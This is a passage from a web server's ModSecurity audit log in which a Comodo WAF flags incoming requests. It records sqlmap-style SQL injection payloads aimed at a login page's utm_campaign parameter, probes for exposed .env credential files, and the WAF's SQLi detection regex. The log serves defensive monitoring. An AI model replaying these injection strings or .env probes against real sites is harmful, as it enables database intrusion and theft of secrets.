csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --185aeb50-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%20AND%206648=CAST((CHR(113)CHR(122)CHR(107)CHR(106)CHR(113))(SELECT%20(CASE%20WHEN%20(6648=6648)%20THEN%201%20ELSE%200%20END))::text(CHR(113)CHR(122)CHR(113)CHR(107)CHR(113))%20AS%20NUMERIC) Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --185aeb50-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: (select (case when (6648=6648) then 1 else 0 end)) found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now and 6648=cast((chr(113)||chr(122)||chr(107)||chr(106)||chr(113))||(select (case when (6648=6648) then 1 else 0 end))::text||(chr(113)||chr(122)||chr(113)||chr(107)||chr(113)) as numeric)"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: (select (case when (6648=6648) then 1 else 0 end)) found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now and 6648=cast((chr(113)||chr(122)||chr(107)||chr(106)||chr(113))||(select (case when (6648=6648) then 1 else 0 end))::text||(chr(113)||chr(122)||chr(113)||chr(107)||chr(113)) as numeric)"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89mkNwpNEMJppxC49R8QAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023578497176 270162 (- - -) Stopwatch2: 1750023578497176 270162; combined=3175, p1=362, p2=2638, p3=0, p4=0, p5=174, sr=84, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --185aeb50-Z-- --04444950-A-- [16/Jun/2025:03:09:39.315241 +0530] aE89mtkGqt_oHz6gRVdJIgAAAAw 185.177.72.210 55588 127.0.0.1 7081 --04444950-B-- GET /docker/examples/compose/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --04444950-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8e76f7de19e28977f67d481e695cc5b71750023579; expires=Sun, 15 Jun 2025 22:39:39 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --04444950-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/docker/examples/compose/.env"] [unique_id "aE89mtkGqt_oHz6gRVdJIgAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023578652639 662689 (- - -) Stopwatch2: 1750023578652639 662689; combined=1953, p1=402, p2=1441, p3=0, p4=0, p5=110, sr=94, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --04444950-Z-- --f0d99061-A-- [16/Jun/2025:03:09:39.922990 +0530] aE89m0NwpNEMJppxC49R8gAAAAI 162.158.111.235 52664 127.0.0.1 7081 --f0d99061-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%27%29%20AND%206648%3DCAST%28%28CHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%28107%29%7C%7CCHR%28106%29%7C%7CCHR%28113%29%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%286648%3D6648%29%20THEN%201%20ELSE%200%20END%29%29%3A%3Atext%7C%7C%28CHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%28113%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%29%20AS%20NUMERIC%29%20AND%20%28%27RjGn%27%3D%27RjGn HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.111.235 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950538ac5ae18c46-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --f0d99061-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now)%20AND%206648=CAST((CHR(113)CHR(122)CHR(107)CHR(106)CHR(113))(SELECT%20(CASE%20WHEN%20(6648=6648)%20THEN%201%20ELSE%200%20END))::text(CHR(113)CHR(122)CHR(113)CHR(107)CHR(113))%20AS%20NUMERIC)%20AND%20(RjGn=RjGn Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --f0d99061-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: (select (case when (6648=6648) then 1 else 0 end)) found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now') and 6648=cast((chr(113)||chr(122)||chr(107)||chr(106)||chr(113))||(select (case when (6648=6648) then 1 else 0 end))::text||(chr(113)||chr(122)||chr(113)||chr(107)||chr(113)) as numeric) and ('rjgn'='rjgn"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: (select (case when (6648=6648) then 1 else 0 end)) found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now') and 6648=cast((chr(113)||chr(122)||chr(107)||chr(106)||chr(113))||(select (case when (6648=6648) then 1 else 0 end))::text||(chr(113)||chr(122)||chr(113)||chr(107)||chr(113)) as numeric) and ('rjgn'='rjgn"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89m0NwpNEMJppxC49R8gAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023579658912 264210 (- - -) Stopwatch2: 1750023579658912 264210; combined=4321, p1=381, p2=3764, p3=0, p4=0, p5=175, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f0d99061-Z-- --e139fe42-A-- [16/Jun/2025:03:09:40.734462 +0530] aE89nIrLgrklqy57Kk2cUgAAAAg 162.158.95.81 52690 127.0.0.1 7081 --e139fe42-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%27%20AND%206648%3DCAST%28%28CHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%28107%29%7C%7CCHR%28106%29%7C%7CCHR%28113%29%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%286648%3D6648%29%20THEN%201%20ELSE%200%20END%29%29%3A%3Atext%7C%7C%28CHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%28113%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%29%20AS%20NUMERIC%29%20AND%20%27WuHG%27%3D%27WuHG HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.95.81 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950538b16d739f54-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --e139fe42-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%20AND%206648=CAST((CHR(113)CHR(122)CHR(107)CHR(106)CHR(113))(SELECT%20(CASE%20WHEN%20(6648=6648)%20THEN%201%20ELSE%200%20END))::text(CHR(113)CHR(122)CHR(113)CHR(107)CHR(113))%20AS%20NUMERIC)%20AND%20WuHG=WuHG Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --e139fe42-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: (select (case when (6648=6648) then 1 else 0 end)) found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now' and 6648=cast((chr(113)||chr(122)||chr(107)||chr(106)||chr(113))||(select (case when (6648=6648) then 1 else 0 end))::text||(chr(113)||chr(122)||chr(113)||chr(107)||chr(113)) as numeric) and 'wuhg'='wuhg"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: (select (case when (6648=6648) then 1 else 0 end)) found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now' and 6648=cast((chr(113)||chr(122)||chr(107)||chr(106)||chr(113))||(select (case when (6648=6648) then 1 else 0 end))::text||(chr(113)||chr(122)||chr(113)||chr(107)||chr(113)) as numeric) and 'wuhg'='wuhg"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89nIrLgrklqy57Kk2cUgAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023580460530 274028 (- - -) Stopwatch2: 1750023580460530 274028; combined=3914, p1=358, p2=3409, p3=0, p4=0, p5=146, sr=97, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e139fe42-Z-- --31625a38-A-- [16/Jun/2025:03:09:41.349517 +0530] aE89nIl8S04UZ4l67-neiAAAAAk 185.177.72.210 52708 127.0.0.1 7081 --31625a38-B-- GET /:9000/wp-content/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --31625a38-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f0fa176828bd0b3bbdd00c23bcfcb05f1750023581; expires=Sun, 15 Jun 2025 22:39:41 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --31625a38-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/wp-content/.env"] [unique_id "aE89nIl8S04UZ4l67-neiAAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023580686989 662595 (- - -) Stopwatch2: 1750023580686989 662595; combined=1988, p1=333, p2=1566, p3=0, p4=0, p5=88, sr=80, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --31625a38-Z-- --447f083f-A-- [16/Jun/2025:03:09:42.117075 +0530] aE89nYrLgrklqy57Kk2cUwAAAAg 162.158.111.135 52772 127.0.0.1 7081 --447f083f-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%20AND%206648%3DCAST%28%28CHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%28107%29%7C%7CCHR%28106%29%7C%7CCHR%28113%29%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%286648%3D6648%29%20THEN%201%20ELSE%200%20END%29%29%3A%3Atext%7C%7C%28CHR%28113%29%7C%7CCHR%28122%29%7C%7CCHR%28113%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%29%20AS%20NUMERIC%29--%20QFiK HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.111.135 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950538b8bdc335fa-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --447f083f-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%20AND%206648=CAST((CHR(113)CHR(122)CHR(107)CHR(106)CHR(113))(SELECT%20(CASE%20WHEN%20(6648=6648)%20THEN%201%20ELSE%200%20END))::text(CHR(113)CHR(122)CHR(113)CHR(107)CHR(113))%20AS%20NUMERIC)--%20QFiK Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --447f083f-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: (select (case when (6648=6648) then 1 else 0 end)) found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now and 6648=cast((chr(113)||chr(122)||chr(107)||chr(106)||chr(113))||(select (case when (6648=6648) then 1 else 0 end))::text||(chr(113)||chr(122)||chr(113)||chr(107)||chr(113)) as numeric)-- qfik"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: (select (case when (6648=6648) then 1 else 0 end)) found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now and 6648=cast((chr(113)||chr(122)||chr(107)||chr(106)||chr(113))||(select (case when (6648=6648) then 1 else 0 end))::text||(chr(113)||chr(122)||chr(113)||chr(107)||chr(113)) as numeric)-- qfik"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89nYrLgrklqy57Kk2cUwAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023581852547 264651 (- - -) Stopwatch2: 1750023581852547 264651; combined=3207, p1=346, p2=2739, p3=0, p4=0, p5=122, sr=89, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --447f083f-Z-- --fc20d73d-A-- [16/Jun/2025:03:09:42.379525 +0530] aE89nVR6EeXjkGzEkbllCAAAAAs 185.177.72.210 52752 127.0.0.1 7081 --fc20d73d-B-- GET /:8443/application/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --fc20d73d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7c2ee64c64461c2cb3a8c512b86c48131750023582; expires=Sun, 15 Jun 2025 22:39:42 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --fc20d73d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/application/.env"] [unique_id "aE89nVR6EeXjkGzEkbllCAAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023581706713 672873 (- - -) Stopwatch2: 1750023581706713 672873; combined=1968, p1=478, p2=1408, p3=0, p4=0, p5=82, sr=99, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fc20d73d-Z-- --e3ca0e33-A-- [16/Jun/2025:03:09:42.711125 +0530] aE89nh-kH31pk4mNbsU_OgAAAAo 162.158.95.81 52832 127.0.0.1 7081 --e3ca0e33-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%29%20AND%204070%20IN%20%28SELECT%20%28CHAR%28113%29%2BCHAR%28122%29%2BCHAR%28107%29%2BCHAR%28106%29%2BCHAR%28113%29%2B%28SELECT%20%28CASE%20WHEN%20%284070%3D4070%29%20THEN%20CHAR%2849%29%20ELSE%20CHAR%2848%29%20END%29%29%2BCHAR%28113%29%2BCHAR%28122%29%2BCHAR%28113%29%2BCHAR%28107%29%2BCHAR%28113%29%29%29%20AND%20%284528%3D4528 HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.95.81 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950538bf2f778f2a-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --e3ca0e33-F-- HTTP/1.1 403 Forbidden X-Powered-By: PHP/8.2.28 Pragma: no-cache Cache-Control: no-cache, must-revalidate, private, max-age=0 Expires: Sat, 26 Jul 1997 05:00:00 GMT Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 6630 Connection: close Content-Type: text/html; charset=UTF-8 --e3ca0e33-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and (4528=4528 found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now) and 4070 in (select (char(113)+char(122)+char(107)+char(106)+char(113)+(select (case when (4070=4070) then char(49) else char(48) end))+char(113)+char(122)+char(113)+char(107)+char(113))) and (4528=4528"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match 